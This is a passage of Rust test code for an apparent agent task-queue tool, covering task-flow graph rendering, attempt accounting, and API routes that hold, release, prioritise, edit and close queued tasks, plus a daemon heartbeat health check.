11150
11151 fn parent_task() -> Task {
11152 let mut p = flow_task(&[]);
11153 p.title = "Parent title".to_owned();
11154 p.status = TaskStatus::Done;
11155 p
11156 }
11157
11158 #[test]
11159 fn flow_opens_with_the_parent_task_of_a_followup() {
11160 let p = parent_task();
11161 let pid = p.id.clone();
11162 let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
11163 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
11164 let n = &f.nodes[0];
11165 assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
11166 assert_eq!(
11167 n.label,
11168 format!("Follow-up of {}", crate::queue::short(&pid))
11169 );
11170 assert_eq!(n.detail.as_deref(), Some("Parent title"));
11171 assert_eq!(n.status, Some("done"));
11172 assert_eq!(n.status_of, "task");
11173 assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
11174 assert_eq!(f.nodes[1].key, "start");
11175 assert_eq!(f.edges[0].from, "origin");
11176 assert_eq!(
11177 f.edges[0].label,
11178 "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
11179 );
11180 }
11181
11182 #[test]
11183 fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
11184 let o = followup_origin(
11185 &fu(Some("gone")),
11186 |_| None,
11187 |_| {
11188 Some(RunState::new(
11189 std::path::PathBuf::from("."),
11190 "main".to_owned(),
11191 "0".to_owned(),
11192 "t".to_owned(),
11193 crate::config::Config::default(),
11194 ))
11195 },
11196 );
11197 assert!(o.parent.is_none());
11198 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
11199 let n = &f.nodes[0];
11200 assert_eq!(n.status_of, "run");
11201 assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
11202 assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
11203 }
11204
11205 #[test]
11206 fn flow_followup_with_nothing_readable_has_no_link() {
11207 let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
11208 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
11209 let n = &f.nodes[0];
11210 assert_eq!(n.href, None);
11211 assert_eq!(n.note, Some("unreadable"));
11212 assert!(!n.readable);
11213 }
11214
11215 #[test]
11216 fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
11217 let o = followup_origin(&fu(None), |_| None, |_| None);
11218 let mut t = flow_task(&[]);
11219 t.origin_chat = Some("c1".to_owned());
11220 let f = task_flow(&t, &[], 5, Some(&o));
11221 assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
11222 t.source = Source::Agent {
11223 run: "c1".to_owned(),
11224 node: crate::queue::CHAT_NODE.to_owned(),
11225 };
11226 let f = task_flow(&t, &[], 5, Some(&o));
11227 assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
11228 assert_eq!(
11229 (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
11230 ("chat", "origin")
11231 );
11232 }
11233
11234 #[test]
11235 fn followup_origin_encodes_ids_and_survives_a_self_reference() {
11236 let mut p = parent_task();
11237 p.id = "a b/c".to_owned();
11238 let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
11239 assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
11240 }
11241
11242 #[test]
11243 fn flow_opens_with_the_chat_that_queued_the_task() {
11244 let mut t = flow_task(&[]);
11245 t.source = Source::Agent {
11246 run: "a b/c".to_owned(),
11247 node: crate::queue::CHAT_NODE.to_owned(),
11248 };
11249 let f = flow_for(&t, &[]);
11250 assert_eq!(f.nodes[0].key, "chat");
11251 assert_eq!(f.nodes[0].kind, "chat");
11252 assert_eq!(
11253 f.nodes[0].label,
11254 format!("Chat {}", crate::queue::short("a b/c"))
11255 );
11256 assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
11257 assert_eq!(f.nodes[1].key, "start");
11258 assert_eq!(
11259 f.edges[0],
11260 FlowEdge {
11261 from: "chat".to_owned(),
11262 to: "start".to_owned(),
11263 label: "queued from chat".to_owned(),
11264 attempt: AttemptCost::None,
11265 }
11266 );
11267 }
11268
11269 #[test]
11270 fn flow_has_no_chat_box_for_other_sources() {
11271 for source in [
11272 Source::Human,
11273 Source::Issue {
11274 number: 3,
11275 repo: "o/r".to_owned(),
11276 },
11277 Source::Agent {
11278 run: "20260904-014455-ab12".to_owned(),
11279 node: "implement".to_owned(),
11280 },
11281 ] {
11282 let mut t = flow_task(&[]);
11283 t.source = source;
11284 let f = flow_for(&t, &[]);
11285 assert_eq!(f.nodes[0].key, "start");
11286 assert!(f.nodes.iter().all(|n| n.kind != "chat"));
11287 assert!(f.edges.iter().all(|e| e.from != "chat"));
11288 }
11289 }
11290
11291 const FA: &str = "20260902-140501-aaaa";
11292 const FB: &str = "20260902-140502-bbbb";
11293
11294 #[test]
11295 fn flow_follows_blocked_retry_merged_to_done() {
11296 let mut t = flow_task(&[FA, FB]);
11297 t.status = TaskStatus::Done;
11298 let f = flow_for(
11299 &t,
11300 &[
11301 (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
11302 (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
11303 ],
11304 );
11305 let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
11306 assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
11307 assert_eq!(f.edges.len(), 3);
11308 assert_eq!(f.edges[0].label, "claimed");
11309 assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
11310 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
11311 assert_eq!(f.edges[2].label, "merged \u{2192} done");
11312 assert_eq!(
11313 f.nodes[2].href.as_deref(),
11314 Some("#/runs/20260902-140502-bbbb")
11315 );
11316 assert!(f.nodes[2].decided);
11317 }
11318
11319 #[test]
11320 fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
11321 let quota = || {
11322 flow_run(RunStatus::Stalled, |s| {
11323 s.quota.push(crate::run::QuotaLoss {
11324 seat: "judge-1".to_owned(),
11325 node: "judge".to_owned(),
11326 at: Timestamp::now(),
11327 reset: None,
11328 })
11329 })
11330 };
11331 let mut t = flow_task(&[FA, FA]);
11332 t.status = TaskStatus::Queued;
11333 let f = flow_for(&t, &[(FA, Some(quota()))]);
11334 assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
11335 assert_eq!(f.nodes[1].note, Some("interrupted"));
11336 assert_eq!(
11337 f.nodes[1].status, None,
11338 "no outcome copied onto an earlier pass"
11339 );
11340 assert_eq!(
11341 f.edges[1].attempt,
11342 AttemptCost::Unknown,
11343 "a resume does not prove the earlier pass was refunded"
11344 );
11345 assert!(f.edges[1].label.contains("resume the same run"));
11346 assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
11347 assert_eq!(
11348 f.edges[2].label,
11349 "stalled after a resume, refund unknown \u{2192} queued"
11350 );
11351 assert!(!f.nodes[2].decided, "a stall is not a decision");
11352 assert_eq!(f.nodes[2].note, Some("no verdict"));
11353 }
11354
11355 #[test]
11356 fn flow_single_pass_quota_stall_is_refunded() {
11357 let t = flow_task(&[FA]);
11358 let f = flow_for(
11359 &t,
11360 &[(
11361 FA,
11362 Some(flow_run(RunStatus::Stalled, |s| {
11363 s.quota.push(crate::run::QuotaLoss {
11364 seat: "judge-1".to_owned(),
11365 node: "judge".to_owned(),
11366 at: Timestamp::now(),
11367 reset: None,
11368 })
11369 })),
11370 )],
11371 );
11372 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
11373 }
11374
11375 #[test]
11376 fn flow_parked_refunds_and_stall_without_quota_spends() {
11377 let mut t = flow_task(&[FA]);
11378 t.status = TaskStatus::Queued;
11379 let f = flow_for(
11380 &t,
11381 &[(
11382 FA,
11383 Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
11384 )],
11385 );
11386 assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
11387 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
11388 let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
11389 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
11390 assert!(!f.nodes[1].decided);
11391 }
11392
11393 #[test]
11394 fn flow_keeps_an_unreadable_run_as_its_own_node() {
11395 let t = flow_task(&[FA, FB]);
11396 let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
11397 assert_eq!(f.nodes[1].note, Some("unreadable"));
11398 assert!(!f.nodes[1].readable);
11399 assert_eq!(f.nodes[1].run_kind, Some("unknown"));
11400 assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
11401 }
11402
11403 #[test]
11404 fn flow_names_the_branch_of_a_review_only_run() {
11405 let t = flow_task(&[FA]);
11406 let f = flow_for(
11407 &t,
11408 &[(
11409 FA,
11410 Some(flow_run(RunStatus::Merged, |s| {
11411 s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
11412 })),
11413 )],
11414 );
11415 assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
11416 assert_eq!(
11417 f.nodes[1].detail.as_deref(),
11418 Some("review-only run of branch magi/x/A")
11419 );
11420 }
11421
11422 #[test]
11423 fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
11424 let mut t = flow_task(&[FA]);
11425 t.status = TaskStatus::Held;
11426 let pr = crate::run::PrRecord {
11427 url: "https://example.test/pr/1".to_owned(),
11428 number: 1,
11429 state: "open".to_owned(),
11430 checks: "green".to_owned(),
11431 round: 0,
11432 rounds: 3,
11433 red_at_merge: Vec::new(),
11434 };
11435 let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
11436 let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
11437 assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
11438 t.status = TaskStatus::Done;
11439 let f = flow_for(&t, &[(FA, Some(blocked))]);
11440 assert_eq!(f.edges[1].label, "closed by hand: task is done");
11441 }
11442
11443 #[test]
11444 fn flow_with_no_runs_goes_from_queued_to_queued() {
11445 let t = flow_task(&[]);
11446 let f = flow_for(&t, &[]);
11447 assert_eq!(f.nodes.len(), 2);
11448 assert_eq!(f.edges.len(), 1);
11449 assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
11450 assert_eq!(f.edges[0].attempt, AttemptCost::None);
11451 }
11452
11453 #[test]
11456 fn a_parked_non_terminal_run_is_explained_as_parked() {
11457 let mut s = RunState::new(
11458 PathBuf::from("/repo/magi"),
11459 "main".to_owned(),
11460 "0123456789abcdef".to_owned(),
11461 "Do it".to_owned(),
11462 Config::default(),
11463 );
11464 s.status = RunStatus::Implementing;
11465 s.parked = true;
11466 let task = Task::new(
11467 "t".to_owned(),
11468 "Do it".to_owned(),
11469 PathBuf::from("/repo/magi"),
11470 Source::Human,
11471 );
11472 let v = task_run_view(
11473 "20260902-140501-aaaa",
11474 Some(&s),
11475 RunSlot {
11476 n: 1,
11477 resumed: false,
11478 resumed_later: None,
11479 prior: None,
11480 last: true,
11481 },
11482 &task,
11483 );
11484 assert!(v.outcome.contains("Parked"), "{}", v.outcome);
11485 }
11486
11487 fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
11488 let mut s = flow_run(RunStatus::Implementing, edit);
11489 s.parked = false;
11490 let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
11491 task_run_view(
11492 "20260902-140501-aaaa",
11493 Some(&s),
11494 RunSlot {
11495 n: 1,
11496 resumed: false,
11497 resumed_later: Some(2),
11498 prior: None,
11499 last: false,
11500 },
11501 &task,
11502 )
11503 }
11504
11505 #[test]
11506 fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
11507 let v = earlier_pass_view(|_| {});
11508 assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
11509 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
11510 assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
11511 assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
11512 assert_eq!(v.exit, RunExit::Interrupted);
11513 assert_eq!(v.attempt, AttemptCost::Unknown);
11514 }
11515
11516 #[test]
11517 fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
11518 let v = earlier_pass_view(|s| {
11519 s.quota.push(crate::run::QuotaLoss {
11520 seat: "judge-1".to_owned(),
11521 node: "judge".to_owned(),
11522 at: Timestamp::now(),
11523 reset: None,
11524 });
11525 });
11526 assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
11527 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
11528 assert_eq!(v.attempt, AttemptCost::Unknown);
11529 }
11530
11531 #[test]
11532 fn the_current_pass_states_its_recorded_cause_and_cost() {
11533 let slot = || RunSlot {
11534 n: 1,
11535 resumed: false,
11536 resumed_later: None,
11537 prior: None,
11538 last: true,
11539 };
11540 let task = flow_task(&["20260902-140501-aaaa"]);
11541 let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
11542 let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
11543 assert_eq!(
11544 (v.exit, v.attempt),
11545 (RunExit::Parked, AttemptCost::Refunded)
11546 );
11547 let spent = flow_run(RunStatus::Blocked, |_| {});
11548 let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
11549 assert_eq!(v.attempt, AttemptCost::Spent);
11550 assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
11551 }
11552
11553 #[tokio::test]
11554 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
11555 let f = Fixture::start().await;
11556 let queue = f.queue();
11557 let mut task = Task::new(
11558 "spent".to_owned(),
11559 "Try again".to_owned(),
11560 PathBuf::from("/repo/magi"),
11561 Source::Human,
11562 );
11563 task.start("20260902-140502-bbbb".to_owned());
11564 task.fail("agent gave up", 9);
11565 queue.put(&mut task).expect("file the task");
11566
11567 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
11568 assert_eq!(held.status, 200);
11569 assert_eq!(held.json()["status_str"], "held");
11570
11571 let released = f
11572 .post(&format!("/api/queue/{}/release", task.id), None)
11573 .await;
11574 assert_eq!(released.status, 200);
11575 assert_eq!(released.json()["status_str"], "queued");
11576 assert_eq!(
11577 released.json()["attempts"],
11578 0,
11579 "release is a real second chance, not an instant re-hold"
11580 );
11581 assert_eq!(
11582 queue.get(&task.id).expect("reload").status,
11583 TaskStatus::Queued,
11584 "the change is on disk, not only in the reply"
11585 );
11586 assert!(
11587 !f.home
11588 .path()
11589 .join("queue")
11590 .join(format!("{}.lock", task.id))
11591 .exists(),
11592 "the claim the mutation took is released again"
11593 );
11594 }
11595
11596 #[tokio::test]
11597 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
11598 let f = Fixture::start().await;
11599 let queue = f.queue();
11600 let mut task = Task::new(
11601 "busy".to_owned(),
11602 "Running right now".to_owned(),
11603 PathBuf::from("/repo/magi"),
11604 Source::Human,
11605 );
11606 queue.put(&mut task).expect("file the task");
11607 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
11608
11609 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
11610
11611 assert_eq!(res.status, 409);
11612 assert_eq!(
11613 queue.get(&task.id).expect("reload").status,
11614 TaskStatus::Queued,
11615 "the refused hold changed nothing"
11616 );
11617 }
11618
11619 #[tokio::test]
11620 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
11621 let f = Fixture::start().await;
11622 let queue = f.queue();
11623 let mut task = Task::new(
11624 "waiting on the migration".to_owned(),
11625 "Do the thing".to_owned(),
11626 PathBuf::from("/repo/magi"),
11627 Source::Human,
11628 );
11629 queue.put(&mut task).expect("file the task");
11630
11631 let held = f
11632 .post(
11633 &format!("/api/queue/{}/hold", task.id),
11634 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
11635 )
11636 .await;
11637 assert_eq!(held.status, 200, "{}", held.body);
11638 assert_eq!(held.json()["status_str"], "held");
11639 assert_eq!(
11640 held.json()["hold_reason"],
11641 "waiting for 20260101-000000-aaaa to land"
11642 );
11643
11644 let listed = f.get("/api/queue").await.json();
11645 assert_eq!(
11646 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
11647 "the card reads the reason off the same list route"
11648 );
11649
11650 let mut plain = Task::new(
11653 "no reason given".to_owned(),
11654 "Do another thing".to_owned(),
11655 PathBuf::from("/repo/magi"),
11656 Source::Human,
11657 );
11658 queue.put(&mut plain).expect("file the task");
11659 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
11660 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
11661 assert!(held_plain.json()["hold_reason"].is_null());
11662
11663 let released = f
11664 .post(&format!("/api/queue/{}/release", task.id), None)
11665 .await;
11666 assert_eq!(released.status, 200);
11667 assert!(
11668 released.json()["hold_reason"].is_null(),
11669 "a release must clear the reason so the next hold does not inherit it"
11670 );
11671 }
11672
11673 #[tokio::test]
11674 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
11675 let f = Fixture::start().await;
11676 let queue = f.queue();
11677 let mut older = Task::new(
11678 "filed first".to_owned(),
11679 "x".to_owned(),
11680 PathBuf::from("/repo/magi"),
11681 Source::Human,
11682 );
11683 older.id = "20260101-000001-aaaa".to_owned();
11684 let mut newer = Task::new(
11685 "filed second".to_owned(),
11686 "x".to_owned(),
11687 PathBuf::from("/repo/magi"),
11688 Source::Human,
11689 );
11690 newer.id = "20260101-000002-bbbb".to_owned();
11691 queue.put(&mut older).expect("file older");
11692 queue.put(&mut newer).expect("file newer");
11693
11694 let before = f.get("/api/queue").await.json();
11697 assert_eq!(before[0]["id"], newer.id);
11698 assert_eq!(before[1]["id"], older.id);
11699
11700 let raised = f
11704 .post(
11705 &format!("/api/queue/{}/priority", older.id),
11706 Some(r#"{"priority":10}"#),
11707 )
11708 .await;
11709 assert_eq!(raised.status, 200, "{}", raised.body);
11710 assert_eq!(raised.json()["priority"], 10);
11711
11712 let after = f.get("/api/queue").await.json();
11713 let names: Vec<&str> = after
11714 .as_array()
11715 .unwrap()
11716 .iter()
11717 .map(|t| t["id"].as_str().unwrap())
11718 .collect();
11719 assert_eq!(names[0], older.id, "the raised task now sorts first");
11723 }
11724
11725 #[tokio::test]
11726 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
11727 let f = Fixture::start().await;
11728 let queue = f.queue();
11729 let mut task = Task::new(
11730 "in flight".to_owned(),
11731 "x".to_owned(),
11732 PathBuf::from("/repo/magi"),
11733 Source::Human,
11734 );
11735 task.start("20260902-140502-bbbb".to_owned());
11736 queue.put(&mut task).expect("file the task");
11737
11738 let res = f
11739 .post(
11740 &format!("/api/queue/{}/priority", task.id),
11741 Some(r#"{"priority":9}"#),
11742 )
11743 .await;
11744 assert_eq!(res.status, 400, "{}", res.body);
11745 assert!(
11746 res.json()["error"]
11747 .as_str()
11748 .is_some_and(|e| e.contains("running")),
11749 "{}",
11750 res.body
11751 );
11752 assert_eq!(
11753 queue.get(&task.id).expect("reload").priority,
11754 0,
11755 "the refused write must not partially apply"
11756 );
11757 }
11758
11759 #[tokio::test]
11760 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
11761 let f = Fixture::start().await;
11762 let queue = f.queue();
11763 let mut task = Task::new(
11764 "old title".to_owned(),
11765 "old instruction".to_owned(),
11766 PathBuf::from("/repo/magi"),
11767 Source::Agent {
11768 run: "20260101-000000-beef".to_owned(),
11769 node: "implement".to_owned(),
11770 },
11771 );
11772 task.runs.push("20260101-000000-beef".to_owned());
11773 queue.put(&mut task).expect("file the task");
11774 let created_at = task.created_at;
11775
11776 let edited = f
11777 .post(
11778 &format!("/api/queue/{}/edit", task.id),
11779 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
11780 )
11781 .await;
11782 assert_eq!(edited.status, 200, "{}", edited.body);
11783 let body = edited.json();
11784 assert_eq!(body["title"], "new title");
11785 assert_eq!(body["instruction"], "new instruction");
11786 assert_eq!(body["id"], task.id, "editing must not mint a new id");
11787 assert_eq!(body["created_at"], created_at.to_string());
11788 assert_eq!(
11789 body["source"]["kind"], "agent",
11790 "editing a task an agent filed must not turn it human: {body}"
11791 );
11792 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
11793
11794 let reloaded = queue.get(&task.id).expect("reload");
11795 assert_eq!(reloaded.title, "new title");
11796 assert_eq!(reloaded.instruction, "new instruction");
11797 }
11798
11799 #[tokio::test]
11800 async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
11801 let tmp = TempDir::new().expect("tempdir");
11804 let repo = tmp.path().join("repo");
11805 std::fs::create_dir_all(&repo).expect("repo dir");
11806 let judge = MOCK_AGENT_TOML.replace(
11807 "printf ok",
11808 r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
11809 );
11810 std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
11811 let f = Fixture::with_repo(repo.clone()).await;
11812 let queue = f.queue();
11813 let mut owner = Task::new(
11814 "owner".to_owned(),
11815 "review it".to_owned(),
11816 repo.clone(),
11817 Source::Human,
11818 );
11819 owner.review_branch = Some("magi/ab12/A".to_owned());
11820 queue.put(&mut owner).expect("file the owner");
11821 let mut task = Task::new(
11822 "draft".to_owned(),
11823 "old".to_owned(),
11824 repo.clone(),
11825 Source::Human,
11826 );
11827 queue.put(&mut task).expect("file the draft");
11828 let url = format!("/api/queue/{}/edit", task.id);
11829
11830 let refused = f
11831 .post(
11832 &url,
11833 Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
11834 )
11835 .await;
11836 assert_eq!(refused.status, 409, "{}", refused.body);
11837 let msg = refused.json()["error"]
11838 .as_str()
11839 .unwrap_or_default()
11840 .to_owned();
11841 assert!(
11842 msg.contains("magi/ab12/A") && msg.contains("force"),
11843 "{msg}"
11844 );
11845 assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
11846
11847 let forced = f
11848 .post(
11849 &url,
11850 Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
11851 )
11852 .await;
11853 assert_eq!(forced.status, 200, "{}", forced.body);
11854 }
11855
11856 #[tokio::test]
11857 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
11858 let f = Fixture::start().await;
11859 let queue = f.queue();
11860 let mut task = Task::new(
11861 "in flight".to_owned(),
11862 "do not touch".to_owned(),
11863 PathBuf::from("/repo/magi"),
11864 Source::Human,
11865 );
11866 task.start("20260902-140502-bbbb".to_owned());
11867 queue.put(&mut task).expect("file the task");
11868
11869 let res = f
11870 .post(
11871 &format!("/api/queue/{}/edit", task.id),
11872 Some(r#"{"title":"x","instruction":"y"}"#),
11873 )
11874 .await;
11875 assert_eq!(res.status, 400, "{}", res.body);
11876 assert!(
11877 res.json()["error"]
11878 .as_str()
11879 .is_some_and(|e| e.contains("running")),
11880 "{}",
11881 res.body
11882 );
11883 assert_eq!(
11884 queue.get(&task.id).expect("reload").instruction,
11885 "do not touch",
11886 "the refused edit must not change the file"
11887 );
11888 }
11889
11890 #[tokio::test]
11891 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
11892 let f = Fixture::start().await;
11893 let queue = f.queue();
11894 let mut task = Task::new(
11895 "busy".to_owned(),
11896 "Running right now".to_owned(),
11897 PathBuf::from("/repo/magi"),
11898 Source::Human,
11899 );
11900 queue.put(&mut task).expect("file the task");
11901 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
11902
11903 let priority = f
11904 .post(
11905 &format!("/api/queue/{}/priority", task.id),
11906 Some(r#"{"priority":9}"#),
11907 )
11908 .await;
11909 assert_eq!(priority.status, 409, "{}", priority.body);
11910
11911 let edit = f
11912 .post(
11913 &format!("/api/queue/{}/edit", task.id),
11914 Some(r#"{"title":"x","instruction":"y"}"#),
11915 )
11916 .await;
11917 assert_eq!(edit.status, 409, "{}", edit.body);
11918 }
11919
11920 #[tokio::test]
11921 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
11922 let f = Fixture::start().await;
11923 let queue = f.queue();
11924 let mut task = Task::new(
11925 "shipped by hand".to_owned(),
11926 "merged outside the loop".to_owned(),
11927 PathBuf::from("/repo/magi"),
11928 Source::Agent {
11929 run: "20260101-000000-b455".to_owned(),
11930 node: "implement".to_owned(),
11931 },
11932 );
11933 task.runs.push("20260101-000000-b455".to_owned());
11934 task.runs.push("20260101-000000-9af4".to_owned());
11935 queue.put(&mut task).expect("file the task");
11936 let created_at = task.created_at;
11937
11938 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
11939 assert_eq!(done.status, 200, "{}", done.body);
11940 assert_eq!(done.json()["status_str"], "done");
11941
11942 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
11943 assert_eq!(
11944 reloaded.runs,
11945 ["20260101-000000-b455", "20260101-000000-9af4"]
11946 );
11947 assert_eq!(
11948 reloaded.source,
11949 Source::Agent {
11950 run: "20260101-000000-b455".to_owned(),
11951 node: "implement".to_owned(),
11952 }
11953 );
11954 assert_eq!(reloaded.created_at, created_at);
11955 }
11956
11957 #[tokio::test]
11958 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
11959 let f = Fixture::start().await;
11964 let queue = f.queue();
11965 let mut task = Task::new(
11966 "landed while held".to_owned(),
11967 "x".to_owned(),
11968 PathBuf::from("/repo/magi"),
11969 Source::Human,
11970 );
11971 task.hold_manual(Some("waiting on 3ed9".to_owned()));
11972 queue.put(&mut task).expect("file the held task");
11973
11974 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
11975 assert_eq!(done.status, 200, "{}", done.body);
11976 assert_eq!(done.json()["status_str"], "done");
11977 assert!(
11978 done.json()["hold_reason"].is_null(),
11979 "a done task cannot still be waiting on something: {}",
11980 done.body
11981 );
11982 }
11983
11984 #[tokio::test]
11985 async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
11986 let f = Fixture::start().await;
11991 let queue = f.queue();
11992 let runs = f.runs();
11993 write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
11994 write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
11998
11999 let mut task = Task::new(
12000 "landed by hand".to_owned(),
12001 "x".to_owned(),
12002 PathBuf::from("/repo/magi"),
12003 Source::Human,
12004 );
12005 task.runs.push("20260101-000000-doa1".to_owned());
12006 task.runs.push("20260101-000000-doa2".to_owned());
12007 queue.put(&mut task).expect("file the task");
12008
12009 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
12010 assert_eq!(done.status, 200, "{}", done.body);
12011
12012 let reloaded_run = read_run(&runs, "20260101-000000-doa1")
12013 .expect("run still on disk under this fixture's own home");
12014 assert_eq!(
12015 reloaded_run.status,
12016 RunStatus::Superseded,
12017 "closing the task by hand must relabel the earlier blocked attempt exactly \
12018 like the loop's own settle path does"
12019 );
12020 }
12021
12022 #[tokio::test]
12023 async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
12024 let f = Fixture::start().await;
12029 let queue = f.queue();
12030 let runs = f.runs();
12031 write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
12032 write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
12033
12034 let mut task = Task::new(
12035 "closed with nothing actually landed".to_owned(),
12036 "x".to_owned(),
12037 PathBuf::from("/repo/magi"),
12038 Source::Human,
12039 );
12040 task.runs.push("20260101-000000-dob1".to_owned());
12041 task.runs.push("20260101-000000-dob2".to_owned());
12042 queue.put(&mut task).expect("file the task");
12043
12044 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
12045 assert_eq!(done.status, 200, "{}", done.body);
12046
12047 let reloaded_run = read_run(&runs, "20260101-000000-dob1")
12048 .expect("run still on disk under this fixture's own home");
12049 assert_eq!(
12050 reloaded_run.status,
12051 RunStatus::Blocked,
12052 "the last recorded attempt never landed, so the earlier one must not be \
12053 relabelled as superseded by it"
12054 );
12055 }
12056
12057 #[tokio::test]
12058 async fn unknown_ids_are_json_not_found_on_both_stores() {
12059 let f = Fixture::start().await;
12060
12061 let run = f.get("/api/runs/nosuchrun").await;
12062 let task = f.post("/api/queue/nosuchtask/hold", None).await;
12063
12064 assert_eq!(run.status, 404);
12065 assert_eq!(task.status, 404);
12066 assert!(
12067 run.json()["error"]
12068 .as_str()
12069 .is_some_and(|e| e.contains("run")),
12070 "the error names what was not found: {}",
12071 run.body
12072 );
12073 assert!(
12074 task.json()["error"]
12075 .as_str()
12076 .is_some_and(|e| e.contains("task")),
12077 "the error names what was not found: {}",
12078 task.body
12079 );
12080 }
12081
12082 #[tokio::test]
12083 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
12084 let f = Fixture::start().await;
12085
12086 let missing = f.get("/api/health").await.json();
12087 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
12088
12089 write_daemon(
12090 f.home.path(),
12091 Timestamp::now() - jiff::SignedDuration::from_secs(60),
12092 );
12093 let stale = f.get("/api/health").await.json();
12094 assert_eq!(
12095 stale["daemon"]["running"], false,
12096 "a minute without a heartbeat is a dead daemon, not a busy one"
12097 );
12098 assert!(
12099 stale["daemon"]["stale_for_secs"]
12100 .as_i64()
12101 .is_some_and(|s| s >= 55),
12102 "staleness is reported so the UI can say how long: {stale}"
12103 );
12104
12105 write_daemon(f.home.path(), Timestamp::now());
12106 let fresh = f.get("/api/health").await.json();
12107 assert_eq!(fresh["daemon"]["running"], true);
12108 assert_eq!(fresh["daemon"]["idle"], false);
